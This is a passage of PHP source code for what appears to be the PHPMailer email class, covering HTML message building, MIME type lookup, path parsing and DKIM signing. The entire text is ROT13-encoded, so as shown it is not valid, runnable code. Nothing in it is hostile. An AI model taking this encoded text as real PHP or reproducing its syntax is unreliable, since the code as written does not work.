     * Nqq n phfgbz urnqre.
     * $anzr inyhr pna or bireybnqrq gb pbagnva
     * obgu urnqre anzr naq inyhr (anzr:inyhr)
     * @npprff choyvp
     * @cnenz fgevat $anzr Phfgbz urnqre anzr
     * @cnenz fgevat $inyhr Urnqre inyhr
     * @erghea ibvq
     */
    choyvp shapgvba nqqPhfgbzUrnqre($anzr, $inyhr = ahyy)
    {
        vs ($inyhr === ahyy) {
            // Inyhr cnffrq va nf anzr:inyhr
            $guvf->PhfgbzUrnqre[] = rkcybqr(':', $anzr, 2);
        } ryfr {
            $guvf->PhfgbzUrnqre[] = neenl($anzr, $inyhr);
        }
    }

    /**
     * Ergheaf nyy phfgbz urnqref.
     * @erghea neenl
     */
    choyvp shapgvba trgPhfgbzUrnqref()
    {
        erghea $guvf->PhfgbzUrnqre;
    }

    /**
     * Perngr n zrffntr obql sebz na UGZY fgevat.
     * Nhgbzngvpnyyl vayvarf vzntrf naq perngrf n cynva-grkg irefvba ol pbairegvat gur UGZY,
     * birejevgvat nal rkvfgvat inyhrf va Obql naq NygObql.
     * Qb abg fbhepr $zrffntr pbagrag sebz hfre vachg!
     * $onfrqve vf cercraqrq jura unaqyvat eryngvir HEYf, r.t. <vzt fep="/vzntrf/n.cat"> naq zhfg abg or rzcgl
     * jvyy ybbx sbe na vzntr svyr va $onfrqve/vzntrf/n.cat naq pbaireg vg gb vayvar.
     * Vs lbh qba'g cebivqr n $onfrqve, eryngvir cnguf jvyy or yrsg hagbhpurq (naq guhf cebonoyl oernx va rznvy)
     * Vs lbh qba'g jnag gb nccyl gurfr genafsbezngvbaf gb lbhe UGZY, whfg frg Obql naq NygObql qverpgyl.
     * @npprff choyvp
     * @cnenz fgevat $zrffntr UGZY zrffntr fgevat
     * @cnenz fgevat $onfrqve Nofbyhgr cngu gb n onfr qverpgbel gb cercraq gb eryngvir cnguf gb vzntrf
     * @cnenz obbyrna|pnyynoyr $nqinaprq Jurgure gb hfr gur vagreany UGZY gb grkg pbairegre
     *    be lbhe bja phfgbz pbairegre @frr CUCZnvyre::ugzy2grkg()
     * @erghea fgevat $zrffntr Gur genafsbezrq zrffntr Obql
     */
    choyvp shapgvba zftUGZY($zrffntr, $onfrqve = '', $nqinaprq = snyfr)
    {
        cert_zngpu_nyy('/(fep|onpxtebhaq)=["\'](.*)["\']/Hv', $zrffntr, $vzntrf);
        vs (neenl_xrl_rkvfgf(2, $vzntrf)) {
            vs (fgeyra($onfrqve) > 1 && fhofge($onfrqve, -1) != '/') {
                // Rafher $onfrqve unf n genvyvat /
                $onfrqve .= '/';
            }
            sbernpu ($vzntrf[2] nf $vztvaqrk => $hey) {
                // Pbaireg qngn HEVf vagb rzorqqrq vzntrf
                vs (cert_zngpu('#^qngn:(vzntr[^;,]*)(;onfr64)?,#', $hey, $zngpu)) {
                    $qngn = fhofge($hey, fgecbf($hey, ','));
                    vs ($zngpu[2]) {
                        $qngn = onfr64_qrpbqr($qngn);
                    } ryfr {
                        $qngn = enjheyqrpbqr($qngn);
                    }
                    $pvq = zq5($hey) . '@cucznvyre.0'; // ESP2392 F 2
                    vs ($guvf->nqqFgevatRzorqqrqVzntr($qngn, $pvq, 'rzorq' . $vztvaqrk, 'onfr64', $zngpu[1])) {
                        $zrffntr = fge_ercynpr(
                            $vzntrf[0][$vztvaqrk],
                            $vzntrf[1][$vztvaqrk] . '="pvq:' . $pvq . '"',
                            $zrffntr
                        );
                    }
                    pbagvahr;
                }
                vs (
                    // Bayl cebprff eryngvir HEYf vs n onfrqve vf cebivqrq (v.r. ab nofbyhgr ybpny cnguf)
                    !rzcgl($onfrqve)
                    // Vtaber HEYf pbagnvavat cnerag qve genirefny (..)
                    && (fgecbf($hey, '..') === snyfr)
                    // Qb abg punatr heyf gung ner nyernql vayvar vzntrf
                    && fhofge($hey, 0, 4) !== 'pvq:'
                    // Qb abg punatr nofbyhgr HEYf, vapyhqvat nabalzbhf cebgbpby
                    && !cert_zngpu('#^[n-m][n-m0-9+.-]*:?//#v', $hey)
                ) {
                    $svyranzr = onfranzr($hey);
                    $qverpgbel = qveanzr($hey);
                    vs ($qverpgbel == '.') {
                        $qverpgbel = '';
                    }
                    $pvq = zq5($hey) . '@cucznvyre.0'; // ESP2392 F 2
                    vs (fgeyra($qverpgbel) > 1 && fhofge($qverpgbel, -1) != '/') {
                        $qverpgbel .= '/';
                    }
                    vs ($guvf->nqqRzorqqrqVzntr(
                        $onfrqve . $qverpgbel . $svyranzr,
                        $pvq,
                        $svyranzr,
                        'onfr64',
                        frys::_zvzr_glcrf((fgevat)frys::zo_cnguvasb($svyranzr, CNGUVASB_RKGRAFVBA))
                    )
                    ) {
                        $zrffntr = cert_ercynpr(
                            '/' . $vzntrf[1][$vztvaqrk] . '=["\']' . cert_dhbgr($hey, '/') . '["\']/Hv',
                            $vzntrf[1][$vztvaqrk] . '="pvq:' . $pvq . '"',
                            $zrffntr
                        );
                    }
                }
            }
        }
        $guvf->vfUGZY(gehr);
        // Pbaireg nyy zrffntr obql yvar oernxf gb PEYS, znxrf dhbgrq-cevagnoyr rapbqvat jbex zhpu orggre
        $guvf->Obql = $guvf->abeznyvmrOernxf($zrffntr);
        $guvf->NygObql = $guvf->abeznyvmrOernxf($guvf->ugzy2grkg($zrffntr, $nqinaprq));
        vs (!$guvf->nygreangvirRkvfgf()) {
            $guvf->NygObql = 'Gb ivrj guvf rznvy zrffntr, bcra vg va n cebtenz gung haqrefgnaqf UGZY!' .
                frys::PEYS . frys::PEYS;
        }
        erghea $guvf->Obql;
    }

    /**
     * Pbaireg na UGZY fgevat vagb cynva grkg.
     * Guvf vf hfrq ol zftUGZY().
     * Abgr - byqre irefvbaf bs guvf shapgvba hfrq n ohaqyrq nqinaprq pbairegre
     * juvpu jnf orra erzbirq sbe yvprafr ernfbaf va #232.
     * Rknzcyr hfntr:
     * <pbqr>
     * // Hfr qrsnhyg pbairefvba
     * $cynva = $znvy->ugzy2grkg($ugzy);
     * // Hfr lbhe bja phfgbz pbairegre
     * $cynva = $znvy->ugzy2grkg($ugzy, shapgvba($ugzy) {
     *     $pbairegre = arj ZlUgzy2grkg($ugzy);
     *     erghea $pbairegre->trg_grkg();
     * });
     * </pbqr>
     * @cnenz fgevat $ugzy Gur UGZY grkg gb pbaireg
     * @cnenz obbyrna|pnyynoyr $nqinaprq Nal obbyrna inyhr gb hfr gur vagreany pbairegre,
     *   be cebivqr lbhe bja pnyynoyr sbe phfgbz pbairefvba.
     * @erghea fgevat
     */
    choyvp shapgvba ugzy2grkg($ugzy, $nqinaprq = snyfr)
    {
        vs (vf_pnyynoyr($nqinaprq)) {
            erghea pnyy_hfre_shap($nqinaprq, $ugzy);
        }
        erghea ugzy_ragvgl_qrpbqr(
            gevz(fgevc_gntf(cert_ercynpr('/<(urnq|gvgyr|fglyr|fpevcg)[^>]*>.*?<\/\\1>/fv', '', $ugzy))),
            RAG_DHBGRF,
            $guvf->PuneFrg
        );
    }

    /**
     * Trg gur ZVZR glcr sbe n svyr rkgrafvba.
     * @cnenz fgevat $rkg Svyr rkgrafvba
     * @npprff choyvp
     * @erghea fgevat ZVZR glcr bs svyr.
     * @fgngvp
     */
    choyvp fgngvp shapgvba _zvzr_glcrf($rkg = '')
    {
        $zvzrf = neenl(
            'ky'    => 'nccyvpngvba/rkpry',
            'wf'    => 'nccyvpngvba/wninfpevcg',
            'udk'   => 'nccyvpngvba/znp-ovaurk40',
            'pcg'   => 'nccyvpngvba/znp-pbzcnpgceb',
            'ova'   => 'nccyvpngvba/znpovanel',
            'qbp'   => 'nccyvpngvba/zfjbeq',
            'jbeq'  => 'nccyvpngvba/zfjbeq',
            'kyfk'  => 'nccyvpngvba/iaq.bcrakzysbezngf-bssvprqbphzrag.fcernqfurrgzy.furrg',
            'kygk'  => 'nccyvpngvba/iaq.bcrakzysbezngf-bssvprqbphzrag.fcernqfurrgzy.grzcyngr',
            'cbgk'  => 'nccyvpngvba/iaq.bcrakzysbezngf-bssvprqbphzrag.cerfragngvbazy.grzcyngr',
            'ccfk'  => 'nccyvpngvba/iaq.bcrakzysbezngf-bssvprqbphzrag.cerfragngvbazy.fyvqrfubj',
            'ccgk'  => 'nccyvpngvba/iaq.bcrakzysbezngf-bssvprqbphzrag.cerfragngvbazy.cerfragngvba',
            'fyqk'  => 'nccyvpngvba/iaq.bcrakzysbezngf-bssvprqbphzrag.cerfragngvbazy.fyvqr',
            'qbpk'  => 'nccyvpngvba/iaq.bcrakzysbezngf-bssvprqbphzrag.jbeqcebprffvatzy.qbphzrag',
            'qbgk'  => 'nccyvpngvba/iaq.bcrakzysbezngf-bssvprqbphzrag.jbeqcebprffvatzy.grzcyngr',
            'kynz'  => 'nccyvpngvba/iaq.zf-rkpry.nqqva.znpebRanoyrq.12',
            'kyfo'  => 'nccyvpngvba/iaq.zf-rkpry.furrg.ovanel.znpebRanoyrq.12',
            'pynff' => 'nccyvpngvba/bpgrg-fgernz',
            'qyy'   => 'nccyvpngvba/bpgrg-fgernz',
            'qzf'   => 'nccyvpngvba/bpgrg-fgernz',
            'rkr'   => 'nccyvpngvba/bpgrg-fgernz',
            'yun'   => 'nccyvpngvba/bpgrg-fgernz',
            'ymu'   => 'nccyvpngvba/bpgrg-fgernz',
            'cfq'   => 'nccyvpngvba/bpgrg-fgernz',
            'frn'   => 'nccyvpngvba/bpgrg-fgernz',
            'fb'    => 'nccyvpngvba/bpgrg-fgernz',
            'bqn'   => 'nccyvpngvba/bqn',
            'cqs'   => 'nccyvpngvba/cqs',
            'nv'    => 'nccyvpngvba/cbfgfpevcg',
            'rcf'   => 'nccyvpngvba/cbfgfpevcg',
            'cf'    => 'nccyvpngvba/cbfgfpevcg',
            'fzv'   => 'nccyvpngvba/fzvy',
            'fzvy'  => 'nccyvpngvba/fzvy',
            'zvs'   => 'nccyvpngvba/iaq.zvs',
            'kyf'   => 'nccyvpngvba/iaq.zf-rkpry',
            'ccg'   => 'nccyvpngvba/iaq.zf-cbjrecbvag',
            'jokzy' => 'nccyvpngvba/iaq.jnc.jokzy',
            'jzyp'  => 'nccyvpngvba/iaq.jnc.jzyp',
            'qpe'   => 'nccyvpngvba/k-qverpgbe',
            'qve'   => 'nccyvpngvba/k-qverpgbe',
            'qke'   => 'nccyvpngvba/k-qverpgbe',
            'qiv'   => 'nccyvpngvba/k-qiv',
            'tgne'  => 'nccyvpngvba/k-tgne',
            'cuc3'  => 'nccyvpngvba/k-uggcq-cuc',
            'cuc4'  => 'nccyvpngvba/k-uggcq-cuc',
            'cuc'   => 'nccyvpngvba/k-uggcq-cuc',
            'cugzy' => 'nccyvpngvba/k-uggcq-cuc',
            'cucf'  => 'nccyvpngvba/k-uggcq-cuc-fbhepr',
            'fjs'   => 'nccyvpngvba/k-fubpxjnir-synfu',
            'fvg'   => 'nccyvpngvba/k-fghssvg',
            'gne'   => 'nccyvpngvba/k-gne',
            'gtm'   => 'nccyvpngvba/k-gne',
            'kug'   => 'nccyvpngvba/kugzy+kzy',
            'kugzy' => 'nccyvpngvba/kugzy+kzy',
            'mvc'   => 'nccyvpngvba/mvc',
            'zvq'   => 'nhqvb/zvqv',
            'zvqv'  => 'nhqvb/zvqv',
            'zc2'   => 'nhqvb/zcrt',
            'zc3'   => 'nhqvb/zcrt',
            'zctn'  => 'nhqvb/zcrt',
            'nvs'   => 'nhqvb/k-nvss',
            'nvsp'  => 'nhqvb/k-nvss',
            'nvss'  => 'nhqvb/k-nvss',
            'enz'   => 'nhqvb/k-ca-ernynhqvb',
            'ez'    => 'nhqvb/k-ca-ernynhqvb',
            'ecz'   => 'nhqvb/k-ca-ernynhqvb-cyhtva',
            'en'    => 'nhqvb/k-ernynhqvb',
            'jni'   => 'nhqvb/k-jni',
            'ozc'   => 'vzntr/ozc',
            'tvs'   => 'vzntr/tvs',
            'wcrt'  => 'vzntr/wcrt',
            'wcr'   => 'vzntr/wcrt',
            'wct'   => 'vzntr/wcrt',
            'cat'   => 'vzntr/cat',
            'gvss'  => 'vzntr/gvss',
            'gvs'   => 'vzntr/gvss',
            'rzy'   => 'zrffntr/esp822',
            'pff'   => 'grkg/pff',
            'ugzy'  => 'grkg/ugzy',
            'ugz'   => 'grkg/ugzy',
            'fugzy' => 'grkg/ugzy',
            'ybt'   => 'grkg/cynva',
            'grkg'  => 'grkg/cynva',
            'gkg'   => 'grkg/cynva',
            'egk'   => 'grkg/evpugrkg',
            'egs'   => 'grkg/egs',
            'ips'   => 'grkg/ipneq',
            'ipneq' => 'grkg/ipneq',
            'kzy'   => 'grkg/kzy',
            'kfy'   => 'grkg/kzy',
            'zcrt'  => 'ivqrb/zcrt',
            'zcr'   => 'ivqrb/zcrt',
            'zct'   => 'ivqrb/zcrt',
            'zbi'   => 'ivqrb/dhvpxgvzr',
            'dg'    => 'ivqrb/dhvpxgvzr',
            'ei'    => 'ivqrb/iaq.ea-ernyivqrb',
            'niv'   => 'ivqrb/k-zfivqrb',
            'zbivr' => 'ivqrb/k-ftv-zbivr'
        );
        vs (neenl_xrl_rkvfgf(fgegbybjre($rkg), $zvzrf)) {
            erghea $zvzrf[fgegbybjre($rkg)];
        }
        erghea 'nccyvpngvba/bpgrg-fgernz';
    }

    /**
     * Znc n svyr anzr gb n ZVZR glcr.
     * Qrsnhygf gb 'nccyvpngvba/bpgrg-fgernz', v.r.. neovgenel ovanel qngn.
     * @cnenz fgevat $svyranzr N svyr anzr be shyy cngu, qbrf abg arrq gb rkvfg nf n svyr
     * @erghea fgevat
     * @fgngvp
     */
    choyvp fgngvp shapgvba svyranzrGbGlcr($svyranzr)
    {
        // Va pnfr gur cngu vf n HEY, fgevc nal dhrel fgevat orsber trggvat rkgrafvba
        $dcbf = fgecbf($svyranzr, '?');
        vs (snyfr !== $dcbf) {
            $svyranzr = fhofge($svyranzr, 0, $dcbf);
        }
        $cnguvasb = frys::zo_cnguvasb($svyranzr);
        erghea frys::_zvzr_glcrf($cnguvasb['rkgrafvba']);
    }

    /**
     * Zhygv-olgr-fnsr cnguvasb ercynprzrag.
     * Qebc-va ercynprzrag sbe cnguvasb(), ohg zhygvolgr-fnsr, pebff-cyngsbez-fnsr, byq-irefvba-fnsr.
     * Jbexf fvzvyneyl gb gur bar va CUC >= 5.2.0
     * @yvax uggc://jjj.cuc.arg/znahny/ra/shapgvba.cnguvasb.cuc#107461
     * @cnenz fgevat $cngu N svyranzr be cngu, qbrf abg arrq gb rkvfg nf n svyr
     * @cnenz vagrtre|fgevat $bcgvbaf Rvgure n CNGUVASB_* pbafgnag,
     *      be n fgevat anzr gb erghea bayl gur fcrpvsvrq cvrpr, nyybjf 'svyranzr' gb jbex ba CUC < 5.2
     * @erghea fgevat|neenl
     * @fgngvp
     */
    choyvp fgngvp shapgvba zo_cnguvasb($cngu, $bcgvbaf = ahyy)
    {
        $erg = neenl('qveanzr' => '', 'onfranzr' => '', 'rkgrafvba' => '', 'svyranzr' => '');
        $cnguvasb = neenl();
        vs (cert_zngpu('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%vz', $cngu, $cnguvasb)) {
            vs (neenl_xrl_rkvfgf(1, $cnguvasb)) {
                $erg['qveanzr'] = $cnguvasb[1];
            }
            vs (neenl_xrl_rkvfgf(2, $cnguvasb)) {
                $erg['onfranzr'] = $cnguvasb[2];
            }
            vs (neenl_xrl_rkvfgf(5, $cnguvasb)) {
                $erg['rkgrafvba'] = $cnguvasb[5];
            }
            vs (neenl_xrl_rkvfgf(3, $cnguvasb)) {
                $erg['svyranzr'] = $cnguvasb[3];
            }
        }
        fjvgpu ($bcgvbaf) {
            pnfr CNGUVASB_QVEANZR:
            pnfr 'qveanzr':
                erghea $erg['qveanzr'];
            pnfr CNGUVASB_ONFRANZR:
            pnfr 'onfranzr':
                erghea $erg['onfranzr'];
            pnfr CNGUVASB_RKGRAFVBA:
            pnfr 'rkgrafvba':
                erghea $erg['rkgrafvba'];
            pnfr CNGUVASB_SVYRANZR:
            pnfr 'svyranzr':
                erghea $erg['svyranzr'];
            qrsnhyg:
                erghea $erg;
        }
    }

    /**
     * Frg be erfrg vafgnapr cebcregvrf.
     * Lbh fubhyq nibvq guvf shapgvba - vg'f zber ireobfr, yrff rssvpvrag, zber reebe-cebar naq
     * uneqre gb qroht guna frggvat cebcregvrf qverpgyl.
     * Hfntr Rknzcyr:
     * `$znvy->frg('FZGCFrpher', 'gyf');`
     *   vf gur fnzr nf:
     * `$znvy->FZGCFrpher = 'gyf';`
     * @npprff choyvp
     * @cnenz fgevat $anzr Gur cebcregl anzr gb frg
     * @cnenz zvkrq $inyhr Gur inyhr gb frg gur cebcregl gb
     * @erghea obbyrna
     * @GBQB Fubhyq guvf abg or hfvat gur __frg() zntvp shapgvba?
     */
    choyvp shapgvba frg($anzr, $inyhr = '')
    {
        vs (cebcregl_rkvfgf($guvf, $anzr)) {
            $guvf->$anzr = $inyhr;
            erghea gehr;
        } ryfr {
            $guvf->frgReebe($guvf->ynat('inevnoyr_frg') . $anzr);
            erghea snyfr;
        }
    }

    /**
     * Fgevc arjyvarf gb cerirag urnqre vawrpgvba.
     * @npprff choyvp
     * @cnenz fgevat $fge
     * @erghea fgevat
     */
    choyvp shapgvba frpherUrnqre($fge)
    {
        erghea gevz(fge_ercynpr(neenl("\e", "\a"), '', $fge));
    }

    /**
     * Abeznyvmr yvar oernxf va n fgevat.
     * Pbairegf HAVK YS, Znp PE naq Jvaqbjf PEYS yvar oernxf vagb n fvatyr yvar oernx sbezng.
     * Qrsnhygf gb PEYS (sbe zrffntr obqvrf) naq cerfreirf pbafrphgvir oernxf.
     * @cnenz fgevat $grkg
     * @cnenz fgevat $oernxglcr Jung xvaq bs yvar oernx gb hfr, qrsnhygf gb PEYS
     * @erghea fgevat
     * @npprff choyvp
     * @fgngvp
     */
    choyvp fgngvp shapgvba abeznyvmrOernxf($grkg, $oernxglcr = "\e\a")
    {
        erghea cert_ercynpr('/(\e\a|\e|\a)/zf', $oernxglcr, $grkg);
    }

    /**
     * Frg gur choyvp naq cevingr xrl svyrf naq cnffjbeq sbe F/ZVZR fvtavat.
     * @npprff choyvp
     * @cnenz fgevat $preg_svyranzr
     * @cnenz fgevat $xrl_svyranzr
     * @cnenz fgevat $xrl_cnff Cnffjbeq sbe cevingr xrl
     * @cnenz fgevat $rkgenpregf_svyranzr Bcgvbany cngu gb punva pregvsvpngr
     */
    choyvp shapgvba fvta($preg_svyranzr, $xrl_svyranzr, $xrl_cnff, $rkgenpregf_svyranzr = '')
    {
        $guvf->fvta_preg_svyr = $preg_svyranzr;
        $guvf->fvta_xrl_svyr = $xrl_svyranzr;
        $guvf->fvta_xrl_cnff = $xrl_cnff;
        $guvf->fvta_rkgenpregf_svyr = $rkgenpregf_svyranzr;
    }

    /**
     * Dhbgrq-Cevagnoyr-rapbqr n QXVZ urnqre.
     * @npprff choyvp
     * @cnenz fgevat $gkg
     * @erghea fgevat
     */
    choyvp shapgvba QXVZ_DC($gkg)
    {
        $yvar = '';
        sbe ($v = 0; $v < fgeyra($gkg); $v++) {
            $beq = beq($gkg[$v]);
            vs (((0k21 <= $beq) && ($beq <= 0k3N)) || $beq == 0k3P || ((0k3R <= $beq) && ($beq <= 0k7R))) {
                $yvar .= $gkg[$v];
            } ryfr {
                $yvar .= '=' . fcevags('%02K', $beq);
            }
        }
        erghea $yvar;
    }

    /**
     * Trarengr n QXVZ fvtangher.
     * @npprff choyvp
     * @cnenz fgevat $fvtaUrnqre
     * @guebjf cucznvyreRkprcgvba
     * @erghea fgevat Gur QXVZ fvtangher inyhr
     */
    choyvp shapgvba QXVZ_Fvta($fvtaUrnqre)
    {
        vs (!qrsvarq('CXPF7_GRKG')) {
            vs ($guvf->rkprcgvbaf) {
                guebj arj cucznvyreRkprcgvba($guvf->ynat('rkgrafvba_zvffvat') . 'bcraffy');
            }
            erghea '';
        }
        $ceviXrlFge = !rzcgl($guvf->QXVZ_cevingr_fgevat) ? $guvf->QXVZ_cevingr_fgevat : svyr_trg_pbagragf($guvf->QXVZ_cevingr);
        vs ('' != $guvf->QXVZ_cnffcuenfr) {
            $ceviXrl = bcraffy_cxrl_trg_cevingr($ceviXrlFge, $guvf->QXVZ_cnffcuenfr);
        } ryfr {
            $ceviXrl = bcraffy_cxrl_trg_cevingr($ceviXrlFge);
        }
        //Jbexnebhaq sbe zvffvat qvtrfg nytbevguzf va byq CUC & BcraFFY irefvbaf
        //@yvax uggc://fgnpxbiresybj.pbz/n/11117338/333340
        vs (irefvba_pbzcner(CUC_IREFVBA, '5.3.0') >= 0 naq
            va_neenl('fun256JvguEFNRapelcgvba', bcraffy_trg_zq_zrgubqf(gehr))) {
            vs (bcraffy_fvta($fvtaUrnqre, $fvtangher, $ceviXrl, 'fun256JvguEFNRapelcgvba')) {
                bcraffy_cxrl_serr($ceviXrl);
                erghea onfr64_rapbqr($fvtangher);
            }
        } ryfr {
            $cvasb = bcraffy_cxrl_trg_qrgnvyf($ceviXrl);
            $unfu = unfu('fun256', $fvtaUrnqre);
            //'Zntvp' pbafgnag sbe FUN256 sebz ESP3447
            //@yvax uggcf://gbbyf.vrgs.bet/ugzy/esp3447#cntr-43
            $g = '3031300q060960864801650304020105000420' . $unfu;
            $cfyra = $cvasb['ovgf'] / 8 - (fgeyra($g) / 2 + 3);
            $ro = cnpx('U*', '0001' . fge_ercrng('SS', $cfyra) . '00' . $g);

            vs (bcraffy_cevingr_rapelcg($ro, $fvtangher, $ceviXrl, BCRAFFY_AB_CNQQVAT)) {
                bcraffy_cxrl_serr($ceviXrl);
                erghea onfr64_rapbqr($fvtangher);
            }
        }
        bcraffy_cxrl_serr($ceviXrl);
        erghea '';
    }

    /**
     * Trarengr n QXVZ pnabavpnyvmngvba urnqre.
     * @npprff choyvp
     * @cnenz fgevat $fvtaUrnqre Urnqre
     * @erghea fgevat
     */
    choyvp shapgvba QXVZ_UrnqreP($fvtaUrnqre)
    {
        $fvtaUrnqre = cert_ercynpr('/\e\a\f+/', ' ', $fvtaUrnqre);
        $yvarf = rkcybqr("\e\a", $fvtaUrnqre);
        sbernpu ($yvarf nf $xrl => $yvar) {
            yvfg($urnqvat, $inyhr) = rkcybqr(':', $yvar, 2);
            $urnqvat = fgegbybjre($urnqvat);
            $inyhr = cert_ercynpr('/\f{2,}/', ' ', $inyhr); // Pbzcerff hfryrff fcnprf
            $yvarf[$xrl] = $urnqvat . ':' . gevz($inyhr); // Qba'g sbetrg gb erzbir JFC nebhaq gur inyhr
        }
        $fvtaUrnqre = vzcybqr("\e\a", $yvarf);
        erghea $fvtaUrnqre;
    }

    /**
     * Trarengr n QXVZ pnabavpnyvmngvba obql.
     * @npprff choyvp
     * @cnenz fgevat $obql Zrffntr Obql
     * @erghea fgevat
     */
    choyvp shapgvba QXVZ_ObqlP($obql)
    {
        vs ($obql == '') {
            erghea "\e\a";
        }
        // fgnovyvmr yvar raqvatf
        $obql = fge_ercynpr("\e\a", "\a", $obql);
        $obql = fge_ercynpr("\a", "\e\a", $obql);
        // RAQ fgnovyvmr yvar raqvatf
        juvyr (fhofge($obql, fgeyra($obql) - 4, 4) == "\e\a\e\a") {
            $obql = fhofge($obql, 0, fgeyra($obql) - 2);
        }
        erghea $obql;
    }

    /**
     * Perngr gur QXVZ urnqre naq obql va n arj zrffntr urnqre.
     * @npprff choyvp
     * @cnenz fgevat $urnqref_yvar Urnqre yvarf
     * @cnenz fgevat $fhowrpg Fhowrpg
     * @cnenz fgevat $obql Obql
     * @erghea fgevat
     */
    choyvp shapgvba QXVZ_Nqq($urnqref_yvar, $fhowrpg, $obql)
    {
        $QXVZfvtangherGlcr = 'efn-fun256'; // Fvtangher & unfu nytbevguzf
        $QXVZpnabavpnyvmngvba = 'erynkrq/fvzcyr'; // Pnabavpnyvmngvba bs urnqre/obql
        $QXVZdhrel = 'qaf/gkg'; // Dhrel zrgubq
        $QXVZgvzr = gvzr(); // Fvtangher Gvzrfgnzc = frpbaqf fvapr 00:00:00 - Wna 1, 1970 (HGP gvzr mbar)
        $fhowrpg_urnqre = "Fhowrpg: $fhowrpg";
        $urnqref = rkcybqr($guvf->YR, $urnqref_yvar);
        $sebz_urnqre = '';
        $gb_urnqre = '';
        $qngr_urnqre = '';
        $pheerag = '';
        sbernpu ($urnqref nf $urnqre) {
            vs (fgecbf($urnqre, 'Sebz:') === 0) {
                $sebz_urnqre = $urnqre;
                $pheerag = 'sebz_urnqre';
            } ryfrvs (fgecbf($urnqre, 'Gb:') === 0) {
                $gb_urnqre = $urnqre;
                $pheerag = 'gb_urnqre';
            } ryfrvs (fgecbf($urnqre, 'Qngr:') === 0) {
                $qngr_urnqre = $urnqre;
                $pheerag = 'qngr_urnqre';
            } ryfr {
                vs (!rzcgl($$pheerag) && fgecbf($urnqre, ' =?') === 0) {
                    $$pheerag .= $urnqre;
                } ryfr {
                    $pheerag = '';
                }
            }
        }
        $sebz = fge_ercynpr('|', '=7P', $guvf->QXVZ_DC($sebz_urnqre));
        $gb = fge_ercynpr('|', '=7P', $guvf->QXVZ_DC($gb_urnqre));
        $qngr = fge_ercynpr('|', '=7P', $guvf->QXVZ_DC($qngr_urnqre));
        $fhowrpg = fge_ercynpr(
            '|',
            '=7P',
            $guvf->QXVZ_DC($fhowrpg_urnqre)
        ); // Pbcvrq urnqre svryqf (qxvz-dhbgrq-cevagnoyr)
        $obql = $guvf->QXVZ_ObqlP($obql);
        $QXVZyra = fgeyra($obql); // Yratgu bs obql
        $QXVZo64 = onfr64_rapbqr(cnpx('U*', unfu('fun256', $obql))); // Onfr64 bs cnpxrq ovanel FUN-256 unfu bs obql
        vs ('' == $guvf->QXVZ_vqragvgl) {
            $vqrag = '';
        } ryfr {
            $vqrag = ' v=' . $guvf->QXVZ_vqragvgl . ';';
        }
        $qxvzuqef = 'QXVZ-Fvtangher: i=1; n=' .
            $QXVZfvtangherGlcr . '; d=' .
            $QXVZdhrel . '; y=' .
            $QXVZyra . '; f=' .
            $guvf->QXVZ_fryrpgbe .
            ";\e\a" .
            "\gg=" . $QXVZgvzr . '; p=' . $QXVZpnabavpnyvmngvba . ";\e\a" .
            "\gu=Sebz:Gb:Qngr:Fhowrpg;\e\a" .
            "\gq=" . $guvf->QXVZ_qbznva . ';' . $vqrag . "\e\a" .
            "\gm=$sebz\e\a" .
            "\g|$gb\e\a" .
            "\g|$qngr\e\a" .
            "\g|$fhowrpg;\e\a" .
            "\gou=" . $QXVZo64 . ";\e\a" .
            "\go=";
        $gbFvta = $guvf->QXVZ_UrnqreP(
            $sebz_urnqre . "\e\a" .
            $gb_urnqre . "\e\a" .
            $qngr_urnqre . "\e\a" .
            $fhowrpg_urnqre . "\e\a" .
            $qxvzuqef
        );
        $fvtarq = $guvf->QXVZ_Fvta($gbFvta);
        erghea $qxvzuqef . $fvtarq . "\e\a";
    }

    /**
     * Qrgrpg vs n fgevat pbagnvaf n yvar ybatre guna gur znkvzhz yvar yratgu nyybjrq.
     * @cnenz fgevat $fge
     * @erghea obbyrna
     * @fgngvp
     */
    choyvp fgngvp shapgvba unfYvarYbatreGunaZnk($fge)
    {
        //+2 gb vapyhqr PEYS yvar oernx sbe n 1000 gbgny
        erghea (obbyrna)cert_zngpu('/^(.{'.(frys::ZNK_YVAR_YRATGU + 2).',})/z', $fge);
    }

    /**
     * Nyybjf sbe choyvp ernq npprff gb 'gb' cebcregl.
     * @abgr: Orsber gur fraq() pnyy, dhrhrq nqqerffrf (v.r. jvgu VQA) ner abg lrg vapyhqrq.
     * @npprff choyvp
     * @erghea neenl
     */
    choyvp shapgvba trgGbNqqerffrf()
    {
        erghea $guvf->gb;
    }

    /**
     * Nyybjf sbe choyvp ernq npprff gb 'pp' cebcregl.
     * @abgr: Orsber gur fraq() pnyy, dhrhrq nqqerffrf (v.r. jvgu VQA) ner abg lrg vapyhqrq.
     * @npprff choyvp
     * @erghea neenl
     */
    choyvp shapgvba trgPpNqqerffrf()
    {
        erghea $guvf->pp;
    }

    /**
     * Nyybjf sbe choyvp ernq npprff gb 'opp' cebcregl.
     * @abgr: Orsber gur fraq() pnyy, dhrhrq nqqerffrf (v.r. jvgu VQA) ner abg lrg vapyhqrq.
     * @npprff choyvp
     * @erghea neenl
     */
    choyvp shapgvba trgOppNqqerffrf()
    {
        erghea $guvf->opp;
    }

    /**
     * Nyybjf sbe choyvp ernq npprff gb 'ErcylGb' cebcregl.
     * @abgr: Orsber gur fraq() pnyy, dhrhrq nqqerffrf (v.r. jvgu VQA) ner abg lrg vapyhqrq.
     * @npprff choyvp
     * @erghea neenl
     */
    choyvp shapgvba trgErcylGbNqqerffrf()
    {
        erghea $guvf->ErcylGb;
    }

    /**
     * Nyybjf sbe choyvp ernq npprff gb 'nyy_erpvcvragf' cebcregl.
     * @abgr: Orsber gur fraq() pnyy, dhrhrq nqqerffrf (v.r. jvgu VQA) ner abg lrg vapyhqrq.
     * @npprff choyvp
     * @erghea neenl
     */
    choyvp shapgvba trgNyyErpvcvragNqqerffrf()
    {
        erghea $guvf->nyy_erpvcvragf;
    }

    /**
     * Cresbez n pnyyonpx.
     * @cnenz obbyrna $vfFrag
     * @cnenz neenl $gb
     * @cnenz neenl $pp
     * @cnenz neenl $opp
     * @cnenz fgevat $fhowrpg
     * @cnenz fgevat $obql
     * @cnenz fgevat $sebz
     */
    cebgrpgrq shapgvba qbPnyyonpx($vfFrag, $gb, $pp, $opp, $fhowrpg, $obql, $sebz)
    {
        vs (!rzcgl($guvf->npgvba_shapgvba) && vf_pnyynoyr($guvf->npgvba_shapgvba)) {
            $cnenzf = neenl($vfFrag, $gb, $pp, $opp, $fhowrpg, $obql, $sebz);
